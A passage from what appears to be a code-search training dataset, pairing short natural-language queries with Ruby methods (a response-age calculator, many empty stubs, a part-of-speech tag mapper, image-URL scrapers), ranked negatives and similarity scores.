"def tsvector_construction_string\n self.class.fulltext_search_plan.collect do |weight, methods|\n if methods.to_a.any?\n keywords = methods.collect { |method| self.send(method) }.join(\" \")\n self.class.send(:sanitize_sql_array, [\n %{setweight(to_tsvector('%s'), '%s')},\n keywords, weight\n ])\n end\n end.compact.join(\" || \").squish\n end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def parslet; end",
"def etfs\n\n end",
"def _lex_trans_keys; end",
"def _lex_trans_keys; end",
"def _lex_trans_keys; end",
"def _lex_trans_keys; end",
"def yyerrok; end",
"def yyerrok; end",
"def lttfindex\n end",
"def noun; end",
"def noun; end",
"def schumann; end",
"def parse_sqft\n end",
"def parse_sqft\n end",
"def transform; end",
"def variants_idx; end",
"def offences_by; end",
"def malts; end",
"def variants; end",
"def ls_text r\n \" (vds)\"\n end",
"def parslets; end",
"def _V(data) ; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def tokens; end",
"def expert(data)\nend",
"def wookiee_sentence; end",
"def meme_phrase; end",
"def probers; end",
"def anchored; end",
"def transformations; end",
"def pdftk; end",
"def tokenize\n \n end",
"def feruchemist; end",
"def english(tag)\n msd = Myasorubka::MSD.new(Myasorubka::MSD::English)\n\n case tag\n when 'CC' then\n msd[:pos] = :conjunction\n msd[:type] = :coordinating\n when 'CD' then\n msd[:pos] = :numeral\n msd[:type] = :cardinal\n when 'DT' then\n msd[:pos] = :determiner\n when 'IN' then\n msd[:pos] = :conjunction\n msd[:type] = :subordinating\n when 'JJ' then\n msd[:pos] = :adjective\n when 'JJR' then\n msd[:pos] = :adjective\n msd[:degree] = :comparative\n when 'JJS' then\n msd[:pos] = :adjective\n msd[:degree] = :superlative\n when 'MD' then\n msd[:pos] = :verb\n msd[:type] = :modal\n when 'NN' then\n msd[:pos] = :noun\n msd[:type] = :common\n msd[:number] = :singular\n when 'NNS'\n msd[:pos] = :noun\n msd[:type] = :common\n msd[:number] = :plural\n when 'NP'\n msd[:pos] = :noun\n msd[:type] = :proper\n msd[:number] = :singular\n when 'NPS'\n msd[:pos] = :noun\n msd[:type] = :proper\n msd[:number] = :plural\n when 'PDT' then\n msd[:pos] = :determiner\n when 'PP' then\n msd[:pos] = :pronoun\n msd[:type] = :personal\n when 'PP$' then\n msd[:pos] = :pronoun\n msd[:type] = :possessive\n when 'RB' then\n msd[:pos] = :adverb\n when 'RBR' then\n msd[:pos] = :adverb\n msd[:degree] = :comparative\n when 'RBS' then\n msd[:pos] = :adverb\n msd[:degree] = :superlative\n when 'TO' then\n msd[:pos] = :determiner\n when 'UH' then\n msd[:pos] = :interjection\n when 'VB' then\n msd[:pos] = :verb\n msd[:type] = :base\n when 'VBD' then\n msd[:pos] = :verb\n msd[:type] = :base\n msd[:tense] = :past\n when 'VBG' then\n msd[:pos] = :verb\n msd[:type] = :base\n msd[:vform] = :participle\n msd[:tense] = :present\n when 'VBN' then\n msd[:pos] = :verb\n msd[:type] = :base\n msd[:vform] = :participle\n msd[:tense] = :past\n when 'VBP' then\n msd[:pos] = :verb\n msd[:type] = :base\n msd[:tense] = :present\n msd[:number] = :singular\n when 'VBZ' then\n msd[:pos] = :verb\n msd[:type] = :base\n msd[:tense] = :present\n msd[:person] = :third\n msd[:number] = :singular\n when 'WDT' then\n msd[:pos] = :determiner\n when 'WP' then\n msd[:pos] = :pronoun\n when 'WP$' then\n msd[:pos] = :pronoun\n msd[:type] = :possessive\n when 'WRB' then\n msd[:pos] = :adverb\n else\n msd[:pos] = :residual\n end\n\n msd\n end",
"def nn\n end",
"def pos() end",
"def pos() end",
"def pos() end",
"def pos() end",
"def rassoc(p0) end",
"def tokenize ; end",
"def tokenize ; end",
"def _lex_indicies; end",
"def _lex_indicies; end",
"def _lex_indicies; end",
"def _lex_indicies; end",
"def properties_word_ml; end",
"def k_tipobusqueda!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 52 )\n\n\n\n type = K_TIPOBUSQUEDA\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 461:3: ( 'like' | 'equals' | 'dif' )\n # at line 461:3: ( 'like' | 'equals' | 'dif' )\n alt_16 = 3\n case look_16 = @input.peek( 1 )\n when 0x6c then alt_16 = 1\n when 0x65 then alt_16 = 2\n when 0x64 then alt_16 = 3\n else\n raise NoViableAlternative( \"\", 16, 0 )\n\n end\n case alt_16\n when 1\n # at line 461:4: 'like'\n match( \"like\" )\n\n\n when 2\n # at line 461:11: 'equals'\n match( \"equals\" )\n\n\n when 3\n # at line 461:20: 'dif'\n match( \"dif\" )\n\n\n end\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 52 )\n\n\n end",
"def getKnowledge\n\t\t\n\tend",
"def transforms; end",
"def schubert; end",
"def terms\n\n end",
"def terms\n\n end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def pos; end",
"def silly_adjective; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def key_variants; end",
"def text; end",
"def text; end"
] |
[
"0.6274245",
"0.6101376",
"0.6068473",
"0.60192806",
"0.5975726",
"0.5966838",
"0.5930941",
"0.5920931",
"0.59102404",
"0.5859669",
"0.5820374",
"0.5790232",
"0.5775537",
"0.572825",
"0.5686462",
"0.56388056",
"0.5619968",
"0.5619968",
"0.5600224",
"0.5561784",
"0.555618",
"0.55487055",
"0.55395097",
"0.55185866",
"0.55070114",
"0.54896533",
"0.54896533",
"0.54896533",
"0.54896533",
"0.5483834",
"0.54736006",
"0.54736006",
"0.54736006",
"0.54736006",
"0.54701805",
"0.54701805",
"0.54608536",
"0.5457052",
"0.5457052",
"0.5452492",
"0.54493827",
"0.54493827",
"0.5447649",
"0.5444927",
"0.54444504",
"0.5422326",
"0.54186577",
"0.54178214",
"0.5412533",
"0.53962654",
"0.538369",
"0.538369",
"0.538369",
"0.538369",
"0.538369",
"0.538369",
"0.538369",
"0.538369",
"0.5363671",
"0.53554475",
"0.53543866",
"0.5351419",
"0.53479767",
"0.5347024",
"0.53450894",
"0.5340503",
"0.5340043",
"0.5334193",
"0.5332162",
"0.5316463",
"0.5316463",
"0.5316463",
"0.5316463",
"0.5307255",
"0.5299982",
"0.5299982",
"0.5297756",
"0.5297756",
"0.5297756",
"0.5297756",
"0.5296166",
"0.5290787",
"0.52873135",
"0.527988",
"0.5277008",
"0.5254436",
"0.5254436",
"0.52515155",
"0.52515155",
"0.52515155",
"0.52515155",
"0.52515155",
"0.52515155",
"0.52505696",
"0.52486986",
"0.52486986",
"0.52486986",
"0.52486986",
"0.5243603",
"0.5229305",
"0.5229305"
] |
0.0
|
-1
|
This is our own
|
def age_of_response
(self.created_at.to_date - Date.current).to_i.abs
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def private; end",
"def custom; end",
"def custom; end",
"def implementation; end",
"def implementation; end",
"def schubert; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def specie; end",
"def probers; end",
"def weber; end",
"def initialize\n\t\t\n\tend",
"def refutal()\n end",
"def initialize\r\n\r\n end",
"def initialize\n \n end",
"def wrapper; end",
"def initialize\n\n end",
"def initialize\n\n end",
"def initialize\n \n end",
"def initialize()\r\n\r\n end",
"def suivre; end",
"def internal; end",
"def initialize() end",
"def formation; end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def initialize\n end",
"def terpene; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def initialize; end",
"def init; end",
"def init; end",
"def init; end",
"def init; end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize()\n\t\tend",
"def berlioz; end",
"def main\n super\n return self\n end",
"def private_method\n end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def run; end",
"def initialize\n\n\tend",
"def initialize\n\n\tend",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def initialize\n super()\n end",
"def initialize\n \n end",
"def initialize\n \n end",
"def initialize\n\t\nend",
"def initialize\n\n\n\n end",
"def handle; end",
"def verdi; end",
"def initialize\n super \n end",
"def original; end",
"def apply\n\t\t\n\tend",
"def apply\n\t\t\n\tend",
"def init\n\n end",
"def overrides; end",
"def initialize()\n\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super()\n end",
"def initialize\n super\n end",
"def initialize\n super\n end",
"def r; end",
"def r; end",
"def zuruecksetzen()\n end",
"def initialize\n end",
"def extended(*) end",
"def isolated; end"
] |
[
"0.8069144",
"0.68271047",
"0.68271047",
"0.67499936",
"0.67499936",
"0.67381346",
"0.67099595",
"0.67099595",
"0.67099595",
"0.67099595",
"0.66572666",
"0.65200466",
"0.6515392",
"0.651037",
"0.6482828",
"0.6467459",
"0.64659846",
"0.6444987",
"0.6444987",
"0.6441607",
"0.640877",
"0.63510454",
"0.6337",
"0.63164955",
"0.6309376",
"0.63003033",
"0.63003033",
"0.63003033",
"0.63003033",
"0.63003033",
"0.63003033",
"0.63003033",
"0.63003033",
"0.63003033",
"0.63003033",
"0.6299113",
"0.62956554",
"0.62956554",
"0.62956554",
"0.62956554",
"0.62956554",
"0.62956554",
"0.62956554",
"0.62956554",
"0.62956554",
"0.62956554",
"0.62956554",
"0.62890977",
"0.62890977",
"0.62890977",
"0.62890977",
"0.61982334",
"0.61982334",
"0.61982334",
"0.61876976",
"0.6182889",
"0.61792374",
"0.61777717",
"0.6155",
"0.6155",
"0.6155",
"0.6155",
"0.6155",
"0.6155",
"0.6155",
"0.6155",
"0.6155",
"0.6153233",
"0.6153233",
"0.6152273",
"0.6152273",
"0.6152273",
"0.6127046",
"0.6123747",
"0.6123747",
"0.6111729",
"0.6105776",
"0.6101989",
"0.60955393",
"0.6095414",
"0.60759926",
"0.6070448",
"0.6070448",
"0.6057943",
"0.6056135",
"0.6030933",
"0.6017444",
"0.6017444",
"0.6017444",
"0.6017444",
"0.6017444",
"0.6017444",
"0.6017444",
"0.60166436",
"0.60166436",
"0.6006996",
"0.6006996",
"0.5989254",
"0.59863704",
"0.5959078",
"0.5953527"
] |
0.0
|
-1
|
the image belonging to a particular Goth full url
|
def goth_image_full_tag(goth)
image = image_path "goths/#{goth.name}.jpg"
url = "#{root_url.chomp('/')}#{image}"
image_tag url, :alt => goth.name, :title => goth.name
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def imgurl\n picref.imgurl if picref\n end",
"def display_img_url(url)\n url.sub(/s90$/, 's360') \n # recipe_response = Faraday.get(\"http://api.yummly.com/v1/api/recipe/#{id}\",\n # _app_id: ENV['YUMMLY_APP_ID'],\n # _app_key: ENV['YUMMLY_APP_KEY'])\n # image = JSON.parse(recipe_response.body)['images'].try(:first)\n # image['hostedLargeUrl'].present? ? image['hostedLargeUrl'] : image['hostedMediumUrl'] if image.present?\n end",
"def getStockImage(link)\n dog_page = HTTParty.get(link, :verify => false)\n parsed_dog_page = Nokogiri::HTML(dog_page)\n\n info_table = parsed_dog_page.css(\".biota\")[0]\n \n image = info_table.css(\"img\")[0]\n pic = image != nil ? \"https:#{image['src']}\" : nil\nend",
"def image_url\n Image.find(image_id).url\n end",
"def image(id, nsfw = false)\n img = get url: \"images/#{id}\", nsfw: nsfw\n img['image'] if img\n end",
"def getImgURL(title, year)\n title = URI.escape(title + \" \" + year.to_s + \" movie poster\")\n req = \"https://www.googleapis.com/customsearch/v1?key=AIzaSyAyLoJQc-3aOYZLlHff3S4JPmeK88rL878&cx=015799936154194163641:2d_yj8n3fbm&q=\"+title+\"&searchType=image\"#&imgSize=medium\"\n img_results = JSON.parse(@shttp.call(req))\n if img_results && img_results[\"items\"]\n img_results[\"items\"].each do |img_result|\n link = img_result[\"link\"]\n\n begin\n # Return the first link that gives a 200\n if @shttp.head(link) == \"200\"\n return link\n else\n Rails.logger.warn \"Link inaccessible, skipping to next one...\"\n end\n rescue Exception => ex\n Rails.logger.error ex.message\n end\n end\n end\n\n # Return empty string if we don't find anything\n return \"\"\n end",
"def pic_one_url\n \tpic_one.url(:medium)\n end",
"def top_image(url)\n og_image = check_og_image(url)\n apple_image = check_apple_image(url)\n mechanize_search = mechanize_search(url)\n if og_image\n return og_image\n elsif apple_image\n return apple_image\n elsif mechanize_search\n mechanize_search \n # In case all else fails ...\n else\n \"../image-dne.jpg\"\n end\n end",
"def getimage\n if @artist.images.empty?\n @image = \"image1.jpg\"\n else\n @image = @artist.images.first[\"url\"]\n end\n end",
"def image\n images.first\n end",
"def primary_image\n if images.length > 0\n images[0].url\n else\n \"https://vollrath.com/ClientCss/images/VollrathImages/No_Image_Available.jpg\"\n end\n end",
"def get_image_url (origin_url)\n begin\n html = open(origin_url).read\n urls = URI.extract(html)\n .select { |lnk| lnk[/\\.jpg$|\\.png$|\\.gif$|\\.jpeg/m] }\n return urls.empty? ? nil : urls[0]\n rescue Exception => e\n puts \"[ERROR] in 'DavidGetter#get_image': #{e}\"\n return nil\n end\n end",
"def image_url\n image.url.split('?').first if image\n end",
"def image_url\n image.url.split('?').first if image\n end",
"def image\n\t\treturn @wiki_img if @wiki_img\n\t\tlogger.info \"finding picture for #{name}\"\n\t\tWikipedia.Configure do\n\t\t\tdomain \"en.wikipedia.org\"\n\t\t\tpath \"w/api.php\"\n\t\tend\n\t\tp = page\n\t\tif p && p.image_urls && p.image_urls.count > 0\n\t\t\t@wiki_img = p.image_urls.last # last one is the one on the right\n\t\t\tself.picture = @wiki_img\n\t\t\tself.save\n\t\t\t@wiki_img\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"def image_url\n\t\t\t@data[\"image\"][\"source\"]\n\t\tend",
"def image_url\n image.url\n end",
"def grab_the_images\n get_the_url = RestClient.get(@url)\n doc = Nokogiri::HTML(get_the_url)\n images = doc.search('img').map{ |img| img['src'] }\n images\n end",
"def image_url\n object.image_url\n end",
"def full_image_uri\n return nil if image.nil?\n return image if image.start_with?('http://')\n return 'http://bookmarket.webhop.org/' + image\n end",
"def item_image_existed(item_id)\r\n image_link = all(:xpath, \"//*[@id='MainContent']//div[@id='#{item_id}']//a/img\").last\r\n image_link['src']\r\n end",
"def find_image(data)\n tags = Nokogiri::HTML(data)\n imgs = tags.css('img').map { |i| i['src'] }\n imgs.each do |img|\n if (img.include?(\".jpg\") || img.include?(\".png\"))\n return img\n end\n end\n return nil\n end",
"def get_image_from_google_for(keywords)\n get_link_from_google_for keywords, :image\n rescue Exception\n ''\n end",
"def image\n #images = Musicbrainz_db.get_cover_art(self.id)[\"images\"]\n\n images = SearchModule.get_cover_art(self.id)\n if images != nil\n return images[\"images\"].first[\"thumbnails\"][\"large\"]\n else\n return 'http://djpunjab.in/cover.jpg'\n end\n end",
"def image\n @data['images']&.first\n end",
"def get_image(image_url)\n # Open webpage and obtain HTML\n url = \"https://www.mariowiki.com\" + image_url\n document = Nokogiri::HTML(open(url))\n\n image_element = document.css('div.fullImageLink a')\n image_path = image_element.attr('href').value\n image = \"https://www.mariowiki.com\" + image_path\n\n return image\nend",
"def single_picture(foursq_id)\n foursq_hash = Instagram.location_search(foursq_id)\n if foursq_hash.empty?\n return \"http://media.npr.org/assets/news/2010/01/30/tianshan2-1a2a29b83bc7a670bf8210d9c6daefa3ba46f971-s6-c30.jpg\"\n else\n all_results = Instagram.location_recent_media(foursq_hash[0][\"id\"])\n if all_results.empty?\n return \"http://media.npr.org/assets/news/2010/01/30/tianshan2-1a2a29b83bc7a670bf8210d9c6daefa3ba46f971-s6-c30.jpg\"\n else\n all_results.sample[\"images\"][\"standard_resolution\"][\"url\"]\n end\n end\n end",
"def photo_url\n src = details.at('#img_primary img')['src'] rescue nil\n\n if src =~ /^(http:.+@@)/ || src =~ /^(http:.+?)\\.[^\\/]+$/\n $1 + '.jpg'\n end\n end",
"def find_image_url(link)\n url = nil\n if !link.nil?\n url = image_url_instagram link if (link.index('instagr.am') || link.index('instagram.com'))\n url = image_url_picplz link if link.index 'picplz'\n url = image_url_twitpic link if link.index 'twitpic'\n url = image_url_yfrog link if link.index 'yfrog'\n url = image_url_imgly link if link.index 'img.ly'\n url = image_url_tco link if link.index 't.co'\n url = image_url_lockerz link if link.index 'lockerz.com'\n url = image_url_foursquare link if link.index '4sq.com'\n url = image_url_embedly link if url.nil? #just try embed.ly for anything else. could do all image url processing w/ embedly, but there's probably some kind of rate limit invovled.\n end\n url\n end",
"def image_url_yfrog(link_url)\n response = http_get(\"http://www.yfrog.com/api/oembed?url=#{link_url}\")\n response['url'] if response\n end",
"def extract_image(page)\n imgs = page.css('.thumbimage')\n return unless imgs\n img = imgs.reject { |img| img[:src].starts_with? 'data:' }.first\n img[:src]\n end",
"def image_url_lockerz(link_url)\n response = http_get \"http://api.plixi.com/api/tpapi.svc/json/metadatafromurl?details=false&url=#{link_url}\"\n response[\"BigImageUrl\"] if response\n end",
"def find_image_from_link_tag\n begin\n meta = doc.css(\"link[rel~='image_src']\")\n meta.each do |item|\n next if item[\"href\"].empty?\n\n return item[\"href\"]\n end\n rescue\n log \"Error getting link tag: #{$!}\"\n end\n nil\n end",
"def extract_image_url(tweet)\n link = extract_link tweet\n find_image_url link\n end",
"def image_url\n self.filename.url \n end",
"def image_url\n image_uri\n end",
"def image_url\n\t\t\t@data[\"originalimage\"][\"source\"] if @data[\"originalimage\"]\n\t\tend",
"def small_photo_url(photo)\n server = photo.attribute('server')\n id = photo.attribute('id')\n secret = photo.attribute('secret')\n return \"http://static.flickr.com/#{server}/#{id}_#{secret}_m.jpg\"\nend",
"def show\n @main_image = @camp.images.first&.attachment&.url(:large)\n end",
"def image_url\n if image.present?\n image\n else\n \"http://loremflickr.com/320/240/#{CGI.escape name}\"\n end\n end",
"def product_image(size)\n images.presence && images[0].url(size)\n end",
"def selection_image_url\n images.first.file.try(:cdn_url)\n end",
"def scrap_the_images\n url = RestClient.get(@url)\n parsed_result = Nokogiri::HTML(url)\n images = parsed_result.search('img').map { |img| img['src'] }\n images\n end",
"def get_google_img(query)\n img_search_keywords = query.strip.gsub(/\\s+/,'+')\n \n if img_search_keywords != ''\n url = \"http://ajax.googleapis.com/ajax/services/search/images?rsz=large&start=1&v=1.0&q=#{img_search_keywords}\"\n \n json_results = open(url) {|f| f.read };\n results = JSON.parse(json_results)\n image_array = results['responseData']['results']\n image = image_array[0] if image_array\n image = image['tbUrl']\n \n if image\n return image\n else\n return 'no image found'\n end\n end\n end",
"def get_image_profile_pic\n last_pic = images.where(\"kind = ?\", \"profile_pic\").last\n\n if last_pic.nil?\n return \"/assets/octacat-resized.png\"\n else\n last_pic.url\n end\n end",
"def photo_from_url(url)\n end",
"def gravatar_image(gravatar_response)\n (gravatar_response.to_s)[/http\\W*[\\w\\W]*\\?/]\n end",
"def image_url\n album_cover ? album_cover.photo.photo_url_full : photos.size > 0 ? photos.first.photo_url_full : nil\n end",
"def cover_medium_url\n images('medium').first[:src]\n end",
"def get_image_link(page) # someday use regex here\n\t\t\tsource = getHtml(page)\n\t\t\tsource = source.gsub(\"enlarge()\", \"º\")\n\t\t\tsource = source[source.index(\"º\"), source.length]\n\t\t\tsource = source.gsub(\"http://\", \"$\")\n\t\t\tsource = source[source.index(\"$\"), source.length]\n\t\t\treturn source[1, source.index(\"\\\"\") - 1]\n\t\tend",
"def picurl\n picurl = object.imgurl\n (picurl.present? && sample_page) ? valid_url(picurl, sample_page) : picurl\n end",
"def image_url\n return @image_url\n end",
"def search_for_first_image(doc)\n @first_image = doc.css('img')\n .map { |i| i.attribute('src') }\n .compact\n .map(&method(:absolutize_url))\n .first\n end",
"def image\n\t\t@image ||= Image.joins(:album)\n .where(id: params[:id], :albums => {:user_id => user_id})\n .take || halt(404)\n\tend",
"def photo_url(size = 500)\n photos.present? && photos.first.photo_url(size)\n end",
"def get_images(tag)\n\tpageThumb = get_page(\"#{URL_MOTARU}/categories/view/name/#{tag}\")\n\treturn pageThumb.search(\"//div[@id='categoryWallpapersList']//img[@class='wallpaperThumb']\")\nend",
"def image_url\n model.image_url.presence || h.asset_path('face.jpg')\n end",
"def uri(image)\n image.dig('medium', 'uri')\n end",
"def picture_url\n picture.url(:featured_project)\n end",
"def image_url\n image.url(:medium)\n end",
"def get_wikipedia_image_url(wikipedia_url)\n begin\n\n return nil if !wikipedia_url || wikipedia_url.empty?\n\n # Download the wikipedia page\n page = Nokogiri::HTML(open(wikipedia_url))\n\n # Get the image href:\n link = page.css( @settings.image_selector ).first\n return if !link\n image_href = link.attr('href')\n image_href = URI.unescape(image_href)\n # image_href => '/wiki/Archivo:Metallica_at_The_O2_Arena_London_2008.jpg'\n\n # Get the image \"id\":\n slash_idx = image_href.rindex('/')\n return if !slash_idx\n image_id = image_href[ slash_idx + 1 .. -1 ]\n # image_id => 'Archivo:Metallica_at_The_O2_Arena_London_2008.jpg'\n\n # Get the full URL:\n # /w/api.php?action=query&prop=imageinfo&format=json&iiprop=url&titles=Archivo%3AMetallica_at_The_O2_Arena_London_2008.jpg\n image_info = Wikipedia.client.request( {\n action: 'query',\n prop: 'imageinfo',\n iiprop: 'url',\n titles: image_id,\n format: 'json'\n } )\n # result => {\n # \"batchcomplete\": \"\",\n # \"query\": {\n # \"normalized\": [\n # {\n # \"from\": \"Archivo:Metallica_at_The_O2_Arena_London_2008.jpg\",\n # \"to\": \"Archivo:Metallica at The O2 Arena London 2008.jpg\"\n # }\n # ],\n # \"pages\": {\n # \"-1\": {\n # \"ns\": 6,\n # \"title\": \"Archivo:Metallica at The O2 Arena London 2008.jpg\",\n # \"missing\": \"\",\n # \"imagerepository\": \"shared\",\n # \"imageinfo\": [\n # {\n # \"url\": \"https://upload.wikimedia.org/wikipedia/commons/0/07/Metallica_at_The_O2_Arena_London_2008.jpg\",\n # \"descriptionurl\": \"https://commons.wikimedia.org/wiki/File:Metallica_at_The_O2_Arena_London_2008.jpg\"\n # }\n # ]\n # }\n # }\n # }\n # }\n image_info = search = JSON.parse(image_info)\n\n image_url = image_info['query']['pages']['-1']['imageinfo'][0]['url']\n return image_url\n rescue\n Log.log_last_exception\n return nil\n end\n end",
"def big_main_image\n\t\timage = self.images.first\n\t\timage.asset.url(:large)\n\tend",
"def named_image(name)\n card = named(name)\n return card['image_uris']['normal']\n end",
"def small_photo_uri(photo)\n server = photo.attribute('server')\n id = photo.attribute('id')\n secret = photo.attribute('secret')\n return \"http://static.flickr.com/#{server}/#{id}_#{secret}_m.jpg\"\nend",
"def image_url\n return \"\" if @path.nil? || @path.empty?\n \"#{images_scheme}://#{images_host}/\" << if m = /^(pv4|pfk|p7s|p6o|p3w|p7s|p)\\/(.*)$/.match(@path)\n \"p/\" << m[2]\n else\n @path\n end\n end",
"def image_uri(size = :small)\n books.first.image_uri(size) if !books.empty?\n end",
"def main_image\n self.images.first.image\n end",
"def cover_thumb_url\n images('thumb').first[:src]\n end",
"def thumb_id\n regex_url = /pictures[\\/][\\d]+[\\/]/ \n string_url = self.content.scan(regex_url).to_s \n regex_id = /[\\d]+/ \n picture_id = string_url.scan(regex_id)[0]\n return picture_id\n end",
"def thumb_id\n regex_url = /pictures[\\/][\\d]+[\\/]/ \n string_url = self.content.scan(regex_url).to_s \n regex_id = /[\\d]+/ \n picture_id = string_url.scan(regex_id)[0]\n return picture_id\n end",
"def thumbnail_url\n result_hash['thb']\n end",
"def google_image_search(query)\n google_results = JSON.parse(open(\"http://ajax.googleapis.com/ajax/services/search/images?v=1.0&rsz=8&q=#{query}\").read)\n google_results['responseData']['results'][rand(8).floor]['unescapedUrl']\n end",
"def get_img(coords, mid)\n url = URI(URI.encode(\"http://google.com/movies?near=#{coords[0]}, #{coords[1]}&mid=#{mid}\"))\n\n\n doc_str = Net::HTTP.get(url)\n doc = Nokogiri::HTML(doc_str)\n\n#working here\n str = nil\n if doc.css('.img img').empty?\n return nil\n else\n str = doc.css('.img img').attr('src').to_s\n if str.include?('tbn')\n return str\n end\n end\n return nil\n end",
"def image_url\n # It's just stored in public/data/slug.jpg or whatever the relevant file\n # extension is\n image = Dir[\"public/data/#{slug}.*\"].first.split(\"/\").last\n # That's accessed publicly over the website as /data/slug.jpg or whatever\n \"/data/#{image}\"\n end",
"def check_og_image(url)\n begin \n og_image = Nokogiri::HTML(open(url)).css('meta[property=\"og:image\"]')\n og_image.first.attributes[\"content\"].value if og_image\n rescue\n nil\n end\n end",
"def imageNameFromUrl(url,idx)\n ImageFinder.nameForImageFromUrl(url,@start_idx,idx)\n end",
"def photo_url\r\n infoxml = get_info\r\n return infoxml.at('photosurl').inner_text\r\n end",
"def image_search(q)\n\tterm = q.gsub(/#/, '').gsub(/[\\W]/, '+')\n\topen(SEARCH + term) do |f|\n\t\treturn nil unless f.status[0] == '200'\n\t\th = Hpricot(f.read)\n\t\t# in the rare case there are no results...\n\t\tif (i = h.at('#ImgCont//img'))\n\t\t i['src']\n\t\telse\n 'http://tbn0.google.com/images?q=tbn:WgkIHy0O9DyKJM:http://www.kreiseder.at/wp-content/2008/07/lolcat404.png'\n\t\tend\n\tend\nend",
"def square_url\n thumb_url\n end",
"def rep_image\n\t photos.first\n\tend",
"def description_image\n parsed_description.css('img').first # there's only one\n end",
"def image_url\n product.images.first.try(:attachment).try(:url)\n end",
"def src\n @img[:src]\n end",
"def image_url\n url_for(object.profile_pic)\n end",
"def image_url\n \"http://graph.facebook.com/#{third_party_id}/picture?type=square\"\n end",
"def square_image_url\n \"#{image_url}?type=square\"\n end",
"def pic_url\n {\n picture: self.object.pic.service_url\n }\n end",
"def get_images_from_url\n @links = (images_from_img_tag + images_from_link_tag + images_from_extension).uniq\n @handler_link.remove_global_unless_symbols(@links)\n @links\n end",
"def images\n img = nokogiri_obj.css('img')\n img.attribute('data-src')&.text || img.attribute('data-key')&.text\n end",
"def image_url\n return '' if product_images.empty?\n product_images[0].filename.url\n end",
"def image(image_id)\n images(:image_ids => [image_id])[0]\n end",
"def _parse_image_uri row\n row./('td[2]/a').first[:href] =~ /multiverseid=(\\d+)/\n $1\n end",
"def safe_image_url( size )\n stock_images = {\n thumb: ActionController::Base.helpers.image_path('no_image_180x120.jpg'),\n searchresult: ActionController::Base.helpers.image_path('no_image_450x300.jpg'),\n hero: ActionController::Base.helpers.image_path('no_image_900x600.jpg'),\n gallery: ActionController::Base.helpers.image_path('no_image_900x600.jpg')\n }\n\n unless stock_images.keys.include? size\n LOG.error message: 'ERROR: wrong image size parameter, falling back to :searchresult'\n size = :searchresult\n end\n\n # fixme: Check that .first here users weight!\n self.ad_images.length > 0 ? self.ad_images.first.image.url(size) : stock_images[size]\n end",
"def get_groupme_image_url(img)\n return img if img.respond_to?(:to_str) &&\n URI.parse(img).host == IMAGE_HOST\n\n io = img.respond_to?(:read) ? img : io_from_url(img)\n groupme_url_from_io io\n end",
"def thumbnail_url\n company.image.url(:thumbnail)\n end",
"def findThumbnailImageURL\n unless @doc.present?\n Rails.logger.info \"RecipeParser.findThumbnailImageURL: document not initialized\"\n return nil\n end\n\n # meta tags to tell social media which image to use for links in order of importance\n # Reference: https://moz.com/blog/meta-data-templates-123\n metaTagsLookingFor = [\"meta[property='og:image:secure_url']\", \"meta[property='og:image']\", \"meta[itemprop='image']\", \"meta[name='twitter:image:src']\", \"link[rel='image_src']\", \"a[rel='image_src']\"]\n\n metaTagsLookingFor.each do |metaTag|\n node = @doc.at_css(metaTag)\n if node != nil\n imageURL = node.attribute('content') || note.attribute('href')\n Rails.logger.info \"RecipeParser.findThumbnailImageURL: found image thumbnail #{imageURL}\"\n return imageURL\n end\n end\n\n #TODO: Find image if page does not use social media meta.\n\n Rails.logger.info \"RecipeParser.findThumbnailImageURL: unable to find thumbnail image URL\"\n return nil\n end",
"def get_image_url(page_doc)\n\timage_url = page_doc.css('body center:nth-child(1) a img')\n\n\tif image_url.nil? or image_url.length == 0\n\t\treturn nil\n\tend\n\n\treturn @base_url + image_url[0][\"src\"]\nend",
"def image_url\n return unless image.attached?\n\n url_for(image)\n end",
"def image_url_picplz(link_url)\n id = extract_id link_url\n #try short url\n response = http_get \"http://picplz.com/api/v2/pic.json?shorturl_ids=#{id}\"\n #if short url fails, try long url\n #response = HTTParty.get \"http://picplz.com/api/v2/pic.json?longurl_ids=#{id}\"\n #extract url\n if response && response['value'] && response['value']['pics'] && response['value']['pics'].first && response['value']['pics'].first['pic_files'] && response['value']['pics'].first['pic_files']['640r']\n response['value']['pics'].first['pic_files']['640r']['img_url'] \n else\n nil\n end\n end",
"def random_image(query = 'safe, cute', nsfw = false)\n img = get(url: 'search/images', query: \"q=#{query.present? ? query : 'safe, cute'}&sf=random&per_page=1\", nsfw: nsfw)\n\n if img\n img_data = img['images'][0]\n image img_data.id, nsfw if img_data\n end\n end",
"def medium_photo\n main_photo.url(:medium)\n end"
] |
[
"0.73055774",
"0.7218375",
"0.72099346",
"0.7188667",
"0.7140367",
"0.70719445",
"0.7063624",
"0.7036462",
"0.7018791",
"0.7007271",
"0.7006407",
"0.6990234",
"0.69687253",
"0.69687253",
"0.69551283",
"0.6948127",
"0.69265306",
"0.6925522",
"0.69134057",
"0.6897684",
"0.6895733",
"0.6886131",
"0.68846935",
"0.68805057",
